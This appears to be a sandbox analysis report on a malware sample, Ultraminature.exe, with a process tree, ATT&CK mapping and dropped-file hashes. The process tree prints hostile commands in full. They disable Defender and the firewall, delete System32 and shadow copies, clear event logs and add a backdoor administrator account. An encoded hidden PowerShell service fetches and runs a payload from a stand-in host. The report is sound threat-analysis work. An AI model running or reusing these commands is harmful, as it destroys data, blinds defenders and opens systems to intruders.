C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe
"C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5640
- C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe
  "C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe"
  2⤵
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c systemctl stop ufw
    3⤵
    PID:5772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c setenforce 0
    3⤵
    PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:4480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sudo -n true
    3⤵
    PID:4148
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c "del /f /s /q C:\Windows\System32\\"
    3⤵
    - Drops file in System32 directory
    PID:4644
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn ULTRAN /tr "\"C:\Users\Admin\AppData\Local\Temp\Ultraminature.exe\" \"C:\Users\Admin\AppData\Local\Temp\_MEI56402\ultraminature.py\"" /sc onstart /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-NetFirewallProfile -Enabled False"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create OneLogon18 binPath= "C:\Windows\System32\svchost.exe" start= auto"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\system32\sc.exe
      sc create OneLogon18 binPath= "C:\Windows\System32\svchost.exe" start= auto
      4⤵
      Launches sc.exe
      PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc start OneLogon18"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\system32\sc.exe
      sc start OneLogon18
      4⤵
      Launches sc.exe
      PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create FATE binPath= "C:\Windows\System32\svchost.exe" start= auto"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\Windows\system32\sc.exe
      sc create FATE binPath= "C:\Windows\System32\svchost.exe" start= auto
      4⤵
      Launches sc.exe
      PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc start FATE"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5144
  - - C:\Windows\system32\sc.exe
      sc start FATE
      4⤵
      Launches sc.exe
      PID:3284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "wevtutil cl Application"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2796
  - - C:\Windows\system32\wevtutil.exe
      "C:\Windows\system32\wevtutil.exe" cl Application
      4⤵
      Clears Windows event logs
      PID:3732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "wevtutil cl System"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4780
  - - C:\Windows\system32\wevtutil.exe
      "C:\Windows\system32\wevtutil.exe" cl System
      4⤵
      Clears Windows event logs
      PID:2988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "wevtutil cl Security"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5876
  - - C:\Windows\system32\wevtutil.exe
      "C:\Windows\system32\wevtutil.exe" cl Security
      4⤵
      Clears Windows event logs
      PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create MalwareService binPath= "powershell.exe -nop -w hidden -enc JElQID0gImh0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLmV4ZSI7IEludm9rZS1XZWJSZXF1ZXN0ICRJUCAtT3V0RmlsZSAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIjsgU3RhcnQtUHJvY2VzcyAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIg==" start= auto"
    3⤵
    PID:3464
  - - C:\Windows\system32\sc.exe
      sc create MalwareService binPath= "powershell.exe -nop -w hidden -enc JElQID0gImh0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLmV4ZSI7IEludm9rZS1XZWJSZXF1ZXN0ICRJUCAtT3V0RmlsZSAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIjsgU3RhcnQtUHJvY2VzcyAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIg==" start= auto
      4⤵
      Launches sc.exe
      PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc start MalwareService"
    3⤵
    PID:3996
  - - C:\Windows\system32\sc.exe
      sc start MalwareService
      4⤵
      Launches sc.exe
      PID:5084
- - C:\Windows\system32\cmd.exe
    cmd.exe
    3⤵
    PID:6172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "schtasks /create /tn \"MaliciousTask\" /tr \"cmd.exe /c calc\" /sc daily /st 00:00"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6180
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn MaliciousTask /tr "cmd.exe /c calc" /sc daily /st 00:00
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6984
- - C:\Windows\system32\ping.exe
    ping evil.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    PID:6196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-NetFirewallProfile -Enabled False"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "net user OneLogonFintUser ULTRAMINATURE999 /add"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6212
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" user OneLogonFintUser ULTRAMINATURE999 /add
      4⤵
      PID:7036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user OneLogonFintUser ULTRAMINATURE999 /add
        5⤵
        
        PID:7056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "net localgroup Administrators OneLogonFintUser /add"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6220
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators OneLogonFintUser /add
      4⤵
      PID:7012
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators OneLogonFintUser /add
        5⤵
        
        PID:7028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6228
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -enc JElQID0gImh0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLmV4ZSI7IEludm9rZS1XZWJSZXF1ZXN0ICRJUCAtT3V0RmlsZSAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIjsgU3RhcnQtUHJvY2VzcyAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIg==
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5440

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4552

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
1⤵
PID:1184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
1⤵
PID:5616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -enc JElQID0gImh0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLmV4ZSI7IEludm9rZS1XZWJSZXF1ZXN0ICRJUCAtT3V0RmlsZSAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIjsgU3RhcnQtUHJvY2VzcyAiQzpcXHRlbXBcXHBheWxvYWQuZXhlIg==
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
MD5 d6b84d4be64de661c778642e3a7f6ff7
SHA1 714900a833208d39d6a4d0a96c671372dc5a12dd
SHA512 7fb33a924af54810bb8c69a0c4a126b1ba6ade4944f098ab8334c0a6c8fee91c7d8e25465c79deed6f6f7fe2000366831f801691dd950051a37c850722907c77
TLSH
T108115333B79CC235C8E915BA1088AE11B1B5C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1fb1e804c4519b902311b8c92ed9eec4cdb3f9c59e3183bc104dd784d27873b9
MD5 1c934b1877628372a20781a0ab70931a
SHA1 bc683dffb0b1396191739f016feb90a613665766
SHA512 de1992ba64ec5ab508b9fadd1d7ee6699f2960b7d631c454b4237c0a51a853b94630441f423f38a792ccd4e2b19d5638914af0088bc61c05f714ee4b57d4c7ba
TLSH
T1FA219773B3ECC125C8D9117A208CAD00B2B9C3C7449ECFCB7A84C629957F9DACB541A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0
MD5 0ff7e1af4cc86e108eef582452b35523
SHA1 c2ccf2811d56c3a3a58dced2b07f95076c6b5b96
SHA512 374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937
MD5 SHA1 SHA512

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_bz2.pyd
Size 83KB
SHA256 449058efc99fccb9e24d640084d845c78f3f86dd34c5c126cf69e523d6320d75
MD5 684d656aada9f7d74f5a5bdcf16d0edb
SHA1 f7586da90d101b5ee3fa24f131ee93ab89606919
SHA512 27fb2eca382675316fb96d18a1aa6b2792077481bf899cbcc658d71f787876045c05c98abf129c9670b6a1d2654d57f59e17580139fa7f482ec27234e44d4235
SSDEEP 1536:Q5qJ1z7AwZG1xIdYxMpC76ROURNf/86bskFIgLVaytH/9bfIivj:iqTzwqdYrmrfk6wkFIgLVyGj
TLSH
T13E839E82E39857F6F45B81B986C00797F770BA91075053AFF298C2962F03F916E5C36A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_ctypes.pyd
Size 130KB
SHA256 5c0d5082fba1a2a3eb8d5e23073be25164c19f21304b09cecaab340dc7198815
MD5 29873384e13b0a78ee9857604161514b
SHA1 110f60f74b06b3972acd5908937a40e078636479
SHA512 ca826ff5403700e6d8822634e364e43b14ef829095d8fe365b49731236f696fe86ffa3853cd1801dc3b7800d005a032fe23bbc25befe3952ef37790d56dee3c5
SSDEEP 3072:k/QCY6XPLj8N4qvAQBhNf/FTmITIJ+B8sZ75IgyPUW4I3U:uQCXPLjNENBPf/FTXTy+B82l
TLSH
T169D37E0B736800AADAA79178C573AF47EBB1B453121147CF02E4C59A2F637E26E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_decimal.pyd
Size 273KB
SHA256 4e27c06b84401039d10f800a0f06446b58508784ee366c7c8324d8fe9794e1a5
MD5 21fcb8e3d4310346a5dc1a216e7e23ca
SHA1 aab11aef9075715733e0fcde9668c6a51654b9e1
SHA512 c064550d1723e92512a42ce367ecef9331a81121305d66199abce6e0977152d927f7223f475e22c67e3f64b0f612c5553f112d8ce653c666a98d1980d200a599
SSDEEP 6144:HNTyEEsdiuz6KOGifir9qWM53pLW1Asz34+M6lLao:HNIuz8GQiOxgLd
TLSH
T19D546B57A2490CA8EA7380749957DF07F7B278960361C78F43A48AA73F93393676E344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_hashlib.pyd
Size 63KB
SHA256 52f29aebe9886e830dedc363cd64eb53b6830d84b26e14f1b6faa655a0900b5d
MD5 3e540ef568215561590df215801b0f59
SHA1 3b6db31a97115c10c33266cce8ff80463763c7e6
SHA512 21497a4d1d999a420ed0e146544f4149c72ad4aca4b869a0ee83267d92afa07609ece76a4e95ec706a21580d6544146d0a58c0baa01aa2c242474a4816108527
SSDEEP 1536:GzQGcrVBtIMh2AZvgLbKwps4RdIgvIMytH/918fI38VM1:CSrVBtuWyWos4RdIgvIdlIW
TLSH
T129539E49A2844096CA6752B8CAD39E87F6B5F2525340ABDF0354C0CE2F237C3D77A766
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_lzma.pyd
Size 155KB
SHA256 48f16b587c6faa44a9e073365b19599200b0f0a0ccb70121e76c2dac4ed53281
MD5 d63e2e743ea103626d33b3c1d882f419
SHA1 af8a162b43f99b943d1c87c9a9e8088816263373
SHA512 d3f1450b5def3c21f47c5133073e76d2ec05787eb6ae88bb70d3a34be84f6025540ac017e9415bb22ef36c2ffbfcea38a28842eefe366325f3d3cf2cca1a3cb1
SSDEEP 3072:D0Vfr5vC9v2J2dE2AomznfB9mNoVhDLaztJLFIg01twW:DSr5YBo5YOVEpJLEh
TLSH
T10EF35B86B794F0D6F7728C38D6624F57E7F5781A0320929A01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_socket.pyd
Size 83KB
SHA256 bced17d6f081d81ea7cd92f1e071e38f8840e61ee0fe1524221b776bcfa78650
MD5 566cb4d39b700c19dbd7175bd4f2b649
SHA1 bede896259b6d52d538c2182aef87c334fc9c73c
SHA512 6a26fd59e2c2ec34b673ef257a00d5577f52286d78525d05efc8a88760fb575be65c3e94e83396f4978c8734b513afe7f09d3c49474169144f98add406530367
SSDEEP 1536:2xl/h+6SDo3OkB+ecI4xyJwAQlyJ+9+nzhjTm96tsJ4O05IgywpytH/9ofIbw:2xko35X4yJwAQlyJs+nzNq96yw5Igyw3
TLSH
T17C837C00A6A041FAEB63D0B5C2679E63FB74B5C11391A35F0066C55A1F337C2AF7AB46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_sqlite3.pyd
Size 126KB
SHA256 8cba8b163393162e4a689d44488410d43b1d1b0a907499d0f01dbccf9c4ac10e
MD5 4541a93562390ae4e3611df24776fe20
SHA1 791a32bdcca11d51d586a2407ee309a9def2286c
SHA512 6cd46e48b2e0fe9440eaf8cb6ea7e61be6203f02be8910f8e4fc6338df485f856a95907579d69f3f6054d6383b914f6a459cd92cdcc91d1718764048224fd0be
SSDEEP 3072:BqwsUCFtHjXBy3tnjTC5ac5y1Sc4UeooedIgvQJud:BT6HjRy5Kv5XpUeooeUq
TLSH
T1CFC35B6B631800A6F9E79278C1734603EB75F862572143DF41E0C6892F377D2AE79B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\_wmi.pyd
Size 38KB
SHA256 ebd252d21af9c84128fca04c994093a5bd6ee857f1581f06f4026fdd6a2c40e0
MD5 47e6fd132f44a4feb595bd0fda3c4e1c
SHA1 37c6c2c1ff309db7273afc9324a37b716c5cbfdb
SHA512 69c031d4ff2dac70739f9c188fca3c6969304f22782adf5a9c0ca303a3a712630541bda888ef25d3252b46d43df56f6e7e03c83d331840088c4224d1a1a512c4
SSDEEP 768:nEkKVVUWO0X1ctqDFIgLi6OytxJEKrLy2Ip4RsCxf1mljr8VMOj:nE9v3JctqDFIgLi1ytH/9R1fI38VMi
TLSH
T1AC037D8AE2640046E663DAB5C9A6CE53F571B7C36B11D38F365582990F233C0E73A336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\base_library.zip
Size 1.3MB
SHA256 468c27f236df59215558f323a656754c790b52c76004d030ebef88c58f985aaf
MD5 0ebae10efaf9b3616bae0ff7f81f36bc
SHA1 cc851ab1f253c32d67a737a48d03aa7f689a3836
SHA512 6d7c392b70196eb8874d300d14be2ade5c39488f25dba88b2205dab7bac2e44f6f5dbc5819804911d851b30c479e1783e2d28c331add8ae334883ad13d31ed4c
SSDEEP 12288:Dh2swULW7WpbtYzGNcT1IiRuOBa80201jwCVRDVoioSYBHi2cPPdxhYddjdTU6mH:ltM7WpWSeT1bzH5cPPdxhYddZWnwlK
TLSH
T1C2551992B9527953FF54F37B80B7484CF31E86A2EF00C207355A426A1FFE6B09E59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\libcrypto-3.dll
Size 5.0MB
SHA256 ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7
MD5 ae5b2e9a3410839b31938f24b6fc5cd8
SHA1 9f9a14efc15c904f408a0d364d55a144427e4949
SHA512 36ea760a7b56ea74174882155eddfb8726828240fcfc6b34d90ecdb7e50a7e632374dcbc9b2889081c0973cc51f50967e7d692498c4abd1f2cba3f7fe8d659cc
SSDEEP 98304:M3+lrVT/8LpQmNPMRLuPWv1CPwDvt3uFlDCJ:6yrVT/8LvPMRLui1CPwDvt3uFlDCJ
TLSH
T1F8368B6AA7A80148E4BAC13CC9534617D2B1F85A57B097CF18A1967D0F37FDA2B3E740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\python313.dll
Size 5.8MB
SHA256 69fd86ea29370697c203f7e12830084f920f490766a8e3045af52c036a9ad529
MD5 7387fe038ea75eb9a57b054fccfe37bf
SHA1 5c532cbdfd718b5e80afb2ee8dea991e84757712
SHA512 c46c982b04079ed0b13617b81168598632d6c58d29e23fcbfa064b08e5836866b74880e1a9c01c12670531f13521a21177aafb10be0abb329a79291d7bff08bd
SSDEEP 98304:+nN+czHO42c7SZerAItxv7HDMiExa0RB2d:Fc7O45mwCiP0RB2d
TLSH
T1E1568D16739D51ACC97B8078CA03864BFBB27C053E60934B61E6BB5D2F733624A6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\select.pyd
Size 31KB
SHA256 6393121130a3e85d0f6562948024d8614c4c144b84ab102af711c638344d1599
MD5 715a098175d3ca1c1da2dc5756b31860
SHA1 6b3ec06d679c48bfe4391535a822b58a02d79026
SHA512 e92edb98427f594badec592493469d45deab3b71e4598d544d0b9a1acffd5327a19c09029fb79d70971cb0ed0dba56056bef8455534d3f16ec35eac723062f3c
SSDEEP 768:kCOBHfjKe5Ig9GWOytxJEKrLy2Ip4gj6Cxf1mlY6Csr:kCOB/jKe5Ig9GJytH/9+fIii
TLSH
T1BCE27D8BAB745047FA63C671C6A6CE03F939B7A3971142CF30A5D1891E137C1A73A365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlite3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\sqlite3.dll
Size 1.5MB
SHA256 441363c5b15394ca4b117200800722d48042c04407d03aac0d1a0a967b7c68e4
MD5 090f55321224c4bb65d9b9d99045ac89
SHA1 e28591421fa4464ed4b31e31f66b6dd6db051c84
SHA512 fbe3767f227289cb5e2e3cd81c83e6a75f6344c6d7f507403eab59a8ab0e742edc1289694445c30abd763625b26edb980d04bc30c4d330c88bd7315c31ca2420
SSDEEP 24576:b5NomuyEciwLghc4NFU68guPx/ns2h6RNbc4eOL88TG04MIXTbjNsWa:qJjNx8guPx/s5R2s88TfUbjE
TLSH
T19C759C4BF2B801ADD0A7C1B9C51B570BEBB174051B74A7DB5190CA692F23FE217BA324
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24842\unicodedata.pyd
Size 695KB
SHA256 071494856fdad0042964769aa2fb1de4ea95c2cfcbe27cc7132293c68d13d710
MD5 503b3ffa6a5bf45ab34d6d74352f206b
SHA1 cc13b85281e5d52413784e0b65a61b1d037c60cc
SHA512 d20b860974161caa60a62268968af353ad8063589f57d71f57c91855eb83da78f40bae7aa745cc7a945d92ebe08cf244c9560ae93449de45b20a8b8fff9f5010
SSDEEP 12288:9YLdLI/X77mvfldCKGihH32W3cnPSqrUguJS:9YLW7qNxr3cnPXuJS
TLSH
T1FDE4F6D5BBCF8D26E69B363948E3710F5171C3735F0A863AB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_mfz3jrmq.ygq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfz3jrmq.ygq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

admin_info_log.txt

Path C:\Users\Admin\AppData\Local\Temp\admin_info_log.txt
Size 3KB
SHA256 84cbd4a9a2b0ed9c5ff2e5bda37f0969989eb8efb40c9bffa6673a9b7069d146
MD5 71cad70a4fb544904264ebdb8a2ebfa0
SHA1 af11a66d59b196be6ab7b4868f5eeb81c9129cb7
SHA512 12971e347ec16451cdc94632ea22e701d145f08f0278c059baa079ce6fe4c2d2803e4d63d5e6fef452e4c74035c494c200a04176235c2a6935d87ac448d46c7f
TLSH
T1AC81FD0E4449AC4A8B66FAC7A8A34D18F68D7283F7D08E553CD8018D4C0FBC6E5BF685
MD5 SHA1 SHA512 TLSH

Submit Download

admin_info_log.txt

